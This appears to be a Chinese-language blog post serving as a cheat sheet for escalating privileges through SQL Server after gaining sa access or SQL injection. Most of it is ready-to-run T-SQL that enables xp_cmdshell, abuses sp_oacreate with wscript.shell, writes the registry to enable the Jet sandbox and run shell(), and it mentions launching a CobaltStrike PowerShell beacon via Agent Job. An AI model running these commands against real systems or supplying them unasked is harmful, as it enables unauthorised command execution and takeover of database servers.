SQLserver提权

xp_cmdshell提权

xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权

 

前提:

getshell或者存在sql注入并且能够执行命令。

sql server是system权限,sql server默认就是system权限

 

启用xp_cmdshell

EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;

# 通过xp_cmdshell执行系统命令

Exec master.dbo.xp_cmdshell 'whoami'

 

sp_oacreate提权

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权,

 

前提:

需要同时具备sp_oacreate和sp_oamethod两个功能组件

 

# 开启组件

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0; # 执行系统命令(无回显)

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c

whoami'

通过沙盒执行命令

# 开启沙盒

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxM ode','REG_DWORD',1

# 利用jet.oledb执行命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32

\ias\dnary.mdb','select shell("whoami")')

 

通过Agent Job执行命令

修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线

 

相关推荐

  1. SQLserver

    2024-03-26 04:06:05       18 阅读
  2. linux 总结_linux

    2024-03-26 04:06:05       17 阅读
  3. udf<span style='color:red;'>提</span><span style='color:red;'>权</span>

    udf

    2024-03-26 04:06:05      33 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-26 04:06:05       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-26 04:06:05       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-26 04:06:05       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-26 04:06:05       20 阅读

热门阅读

  1. 绘制虚线圆角矩形的Flutter小部件

    2024-03-26 04:06:05       20 阅读
  2. 5.81 BCC工具之tcpconnlat.py解读

    2024-03-26 04:06:05       36 阅读
  3. ROS2 高效学习系列

    2024-03-26 04:06:05       20 阅读
  4. 图像分类的实战案例

    2024-03-26 04:06:05       21 阅读
  5. c# 与c++类型对应关系

    2024-03-26 04:06:05       20 阅读
  6. 【算法】堆排序

    2024-03-26 04:06:05       20 阅读
  7. IOS面试题编程机制 41-45

    2024-03-26 04:06:05       19 阅读
  8. Spring事务核心:声明式事务&注解式事务

    2024-03-26 04:06:05       22 阅读
  9. c++翁恺

    c++翁恺

    2024-03-26 04:06:05      26 阅读
  10. 离婚时夫妻共有房屋的分割原则及方式

    2024-03-26 04:06:05       24 阅读
  11. 设计模式---单例模式

    2024-03-26 04:06:05       25 阅读